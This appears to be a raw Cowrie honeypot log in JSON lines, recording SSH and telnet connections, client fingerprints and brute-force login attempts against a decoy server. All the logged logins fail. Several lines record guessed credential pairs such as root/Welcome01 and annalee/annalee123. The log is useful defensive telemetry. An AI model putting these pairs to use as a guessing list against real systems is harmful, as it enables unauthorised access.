{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:41.025288Z","src_ip":"43.153.50.142","session":"eff5682118d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ly","password":"123","message":"login attempt [ly/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:41.333065Z","src_ip":"43.153.50.142","session":"eff5682118d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:42.405247Z","src_ip":"43.153.50.142","session":"eff5682118d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.12500286102295,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:45.703209Z","src_ip":"152.42.224.71","session":"e514db4be0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":45454,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef1c6f159a2","protocol":"ssh","message":"New connection: 39.117.79.36:45454 (10.17.0.5:22) [session: 8ef1c6f159a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:51.327617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:51.331140Z","src_ip":"39.117.79.36","session":"8ef1c6f159a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:51.521992Z","src_ip":"39.117.79.36","session":"8ef1c6f159a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome01","message":"login attempt [root/Welcome01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:52.312223Z","src_ip":"39.117.79.36","session":"8ef1c6f159a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:52:53.506256Z","src_ip":"39.117.79.36","session":"8ef1c6f159a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":50566,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73cea243baf","protocol":"ssh","message":"New connection: 43.153.65.139:50566 (10.17.0.5:22) [session: e73cea243baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:22.304728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:22.313135Z","src_ip":"43.153.65.139","session":"e73cea243baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:22.381567Z","src_ip":"43.153.65.139","session":"e73cea243baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa!123456","message":"login attempt [root/Aa!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:22.687023Z","src_ip":"43.153.65.139","session":"e73cea243baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:23.757389Z","src_ip":"43.153.65.139","session":"e73cea243baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":27707,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bfd10555d9a","protocol":"ssh","message":"New connection: 213.209.159.56:27707 (10.17.0.5:22) [session: 1bfd10555d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:29.209905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:29.213711Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:29.295595Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee","message":"login attempt [annalee/annalee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:29.710017Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee1","message":"login attempt [annalee/annalee1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:30.795070Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee123","message":"login attempt [annalee/annalee123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:31.880082Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee1234","message":"login attempt [annalee/annalee1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:32.965199Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"annalee","password":"annalee12345","message":"login attempt [annalee/annalee12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:34.051090Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:35.136822Z","src_ip":"213.209.159.56","session":"1bfd10555d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":52890,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1aea7a1c88","protocol":"ssh","message":"New connection: 43.153.50.142:52890 (10.17.0.5:22) [session: 8a1aea7a1c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:49.106893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:49.111388Z","src_ip":"43.153.50.142","session":"8a1aea7a1c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:49.182210Z","src_ip":"43.153.50.142","session":"8a1aea7a1c88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"temp","password":"temp123456","message":"login attempt [temp/temp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:49.488751Z","src_ip":"43.153.50.142","session":"8a1aea7a1c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:50.560714Z","src_ip":"43.153.50.142","session":"8a1aea7a1c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00527358055115,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:53:54.590689Z","src_ip":"152.42.224.71","session":"98bed78c7faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51462,"dst_ip":"10.17.0.5","dst_port":23,"session":"641001b9d4e4","protocol":"telnet","message":"New connection: 152.42.224.71:51462 (10.17.0.5:23) [session: 641001b9d4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:07.670556Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d80e2ee820","protocol":"ssh","message":"New connection: 103.98.149.87:34986 (159.203.135.109:22) [session: e3d80e2ee820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:14.605529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:14.610732Z","src_ip":"103.98.149.87","session":"e3d80e2ee820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:14.904993Z","src_ip":"103.98.149.87","session":"e3d80e2ee820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789m","message":"login attempt [root/123456789m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:16.622115Z","src_ip":"103.98.149.87","session":"e3d80e2ee820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:17.879569Z","src_ip":"103.98.149.87","session":"e3d80e2ee820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":46986,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6a6dc540513","protocol":"ssh","message":"New connection: 39.117.79.36:46986 (10.17.0.5:22) [session: b6a6dc540513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:18.129120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:18.134908Z","src_ip":"39.117.79.36","session":"b6a6dc540513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:18.334806Z","src_ip":"39.117.79.36","session":"b6a6dc540513","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwertyuiop","message":"login attempt [root/Qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:19.152087Z","src_ip":"39.117.79.36","session":"b6a6dc540513","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:20.353501Z","src_ip":"39.117.79.36","session":"b6a6dc540513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d0eaa7b764","protocol":"telnet","message":"New connection: 152.42.224.71:59810 (10.17.0.5:23) [session: 35d0eaa7b764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:30.316480Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"81961a990c96","protocol":"telnet","message":"New connection: 152.42.224.71:59820 (10.17.0.5:23) [session: 81961a990c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:32.010266Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":33974,"dst_ip":"10.17.0.5","dst_port":22,"session":"298bd67ab409","protocol":"ssh","message":"New connection: 43.153.65.139:33974 (10.17.0.5:22) [session: 298bd67ab409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:32.758167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:32.762250Z","src_ip":"43.153.65.139","session":"298bd67ab409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:32.830791Z","src_ip":"43.153.65.139","session":"298bd67ab409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rtc","password":"123456","message":"login attempt [rtc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:33.136371Z","src_ip":"43.153.65.139","session":"298bd67ab409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:54:34.207848Z","src_ip":"43.153.65.139","session":"298bd67ab409","protocol":"ssh"}
